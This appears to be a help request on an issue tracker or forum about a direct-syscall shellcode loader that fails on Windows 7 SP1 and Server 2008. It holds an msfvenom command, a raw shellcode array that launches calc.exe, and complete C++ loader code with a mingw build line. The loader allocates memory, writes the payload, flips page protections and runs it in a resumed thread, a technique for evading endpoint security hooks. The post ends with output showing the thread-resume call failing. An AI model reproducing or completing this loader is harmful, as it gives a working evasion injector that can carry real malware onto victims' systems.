win7 sp1 or windows server 2008 Test failed can you help me?

[zhihuba]

• os: Windows 7 sp 1

//generate payload
msfvenom -p windows/x64/exec cmd=calc.exe -f raw -o calc.bin
//source code

#define _WIN32_WINNT 0x0600
#include <iostream>
#include <windows.h>
#include <psapi.h>
#include <winternl.h>
#include <tlhelp32.h>
#include "Syscalls2.h"
#ifndef UNICODE  
typedef std::string String;
#else
typedef std::wstring String;
#endif


unsigned char shellcode[276] = {
0xFC,0x48,0x83,0xE4,0xF0,0xE8,0xC0,0x00,
0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,
0x56,0x48,0x31,0xD2,0x65,0x48,0x8B,0x52,
0x60,0x48,0x8B,0x52,0x18,0x48,0x8B,0x52,
0x20,0x48,0x8B,0x72,0x50,0x48,0x0F,0xB7,
0x4A,0x4A,0x4D,0x31,0xC9,0x48,0x31,0xC0,
0xAC,0x3C,0x61,0x7C,0x02,0x2C,0x20,0x41,
0xC1,0xC9,0x0D,0x41,0x01,0xC1,0xE2,0xED,
0x52,0x41,0x51,0x48,0x8B,0x52,0x20,0x8B,
0x42,0x3C,0x48,0x01,0xD0,0x8B,0x80,0x88,
0x00,0x00,0x00,0x48,0x85,0xC0,0x74,0x67,
0x48,0x01,0xD0,0x50,0x8B,0x48,0x18,0x44,
0x8B,0x40,0x20,0x49,0x01,0xD0,0xE3,0x56,
0x48,0xFF,0xC9,0x41,0x8B,0x34,0x88,0x48,
0x01,0xD6,0x4D,0x31,0xC9,0x48,0x31,0xC0,
0xAC,0x41,0xC1,0xC9,0x0D,0x41,0x01,0xC1,
0x38,0xE0,0x75,0xF1,0x4C,0x03,0x4C,0x24,
0x08,0x45,0x39,0xD1,0x75,0xD8,0x58,0x44,
0x8B,0x40,0x24,0x49,0x01,0xD0,0x66,0x41,
0x8B,0x0C,0x48,0x44,0x8B,0x40,0x1C,0x49,
0x01,0xD0,0x41,0x8B,0x04,0x88,0x48,0x01,
0xD0,0x41,0x58,0x41,0x58,0x5E,0x59,0x5A,
0x41,0x58,0x41,0x59,0x41,0x5A,0x48,0x83,
0xEC,0x20,0x41,0x52,0xFF,0xE0,0x58,0x41,
0x59,0x5A,0x48,0x8B,0x12,0xE9,0x57,0xFF,
0xFF,0xFF,0x5D,0x48,0xBA,0x01,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x48,0x8D,0x8D,
0x01,0x01,0x00,0x00,0x41,0xBA,0x31,0x8B,
0x6F,0x87,0xFF,0xD5,0xBB,0xF0,0xB5,0xA2,
0x56,0x41,0xBA,0xA6,0x95,0xBD,0x9D,0xFF,
0xD5,0x48,0x83,0xC4,0x28,0x3C,0x06,0x7C,
0x0A,0x80,0xFB,0xE0,0x75,0x05,0xBB,0x47,
0x13,0x72,0x6F,0x6A,0x00,0x59,0x41,0x89,
0xDA,0xFF,0xD5,0x63,0x61,0x6C,0x63,0x2E,
0x65,0x78,0x65,0x00,
};

int main()
{
    
    HANDLE hProc = GetCurrentProcess();
    DWORD oldprotect = 0;
    PVOID base_addr = NULL;
    HANDLE thandle = NULL;
    SIZE_T bytesWritten;
    size_t shellcodeSize = sizeof(shellcode) / sizeof(shellcode[0])+1;
    NTSTATUS res = NtAllocateVirtualMemory(hProc, &base_addr, 0, (PSIZE_T)&shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (res != 0){
        std::cout << "NtAllocateVirtualMemory FAILED to allocate memory in the current process, exiting: " << std::hex << res << std::endl;
        return 0;
    }
    else {
        std::cout << "NtAllocateVirtualMemory allocated memory in the current process sucessfully." << std::endl;
    }
    res = NtWriteVirtualMemory(hProc, base_addr, shellcode, shellcodeSize, &bytesWritten);
    if (res != 0){
        std::cout << "NtWriteVirtualMemory FAILED to write decoded payload to allocated memory: " << std::hex << res << std::endl;
        return 0;
    }
    else{
        std::cout << "NtWriteVirtualMemory wrote decoded payload to allocated memory successfully." << std::endl;
    }
    res = NtProtectVirtualMemory(hProc, &base_addr, (PSIZE_T)&shellcodeSize, PAGE_NOACCESS, &oldprotect);
    if (res != 0){
        std::cout << "NtProtectVirtualMemory FAILED to modify permissions: " << std::hex << res << std::endl;
        return 0;
    }
    else{
        std::cout << "NtProtectVirtualMemory modified permissions successfully." << std::endl;
    }
    res = NtCreateThreadEx(&thandle, GENERIC_EXECUTE, NULL, hProc, base_addr, NULL, TRUE, 0, 0, 0, NULL);

    if (res != 0){
        std::cout << "NtCreateThreadEx FAILED to create thread in current process: " << std::hex << res << std::endl;
        return 0;
    }
    else{
        std::cout << "NtCreateThreadEx created thread in current process successfully." << std::endl;
    }
    res = NtProtectVirtualMemory(hProc, &base_addr, (PSIZE_T)&shellcodeSize, PAGE_EXECUTE_READ, &oldprotect);

    if (res != 0){
        std::cout << "NtProtectVirtualMemory FAILED to modify permissions: " << std::hex << res << std::endl;
        return 0;
    }
    else{
        std::cout << "NtProtectVirtualMemory modified permissions successfully." << std::endl;
    }
    res = NtResumeThread(thandle, 0);
    if (res != 0){
        std::cout << "NtResumeThread FAILED to resume created thread: " << std::hex << res << std::endl;
        return 0;
    }
    else{
        std::cout << "NtResumeThread resumed created thread successfully." << std::endl;
    }
    res = NtWaitForSingleObject(thandle, -1, NULL);   
}
//build
x86_64-w64-mingw32-g++ stub.cpp -w -masm=intel -fpermissive -static -lpsapi -Wl,--subsystem,console -o a.exe

The test is successful in win7 and above

The output of win7 or windows 2008 is as follows

NtAllocateVirtualMemory allocated memory in the current process sucessfully.
NtWriteVirtualMemory wrote decoded payload to allocated memory successfully.
NtProtectVirtualMemory modified permissions successfully.
NtCreateThreadEx created thread in current process successfully.
NtProtectVirtualMemory modified permissions successfully.
NtResumeThread FAILED to resume created thread: c0000022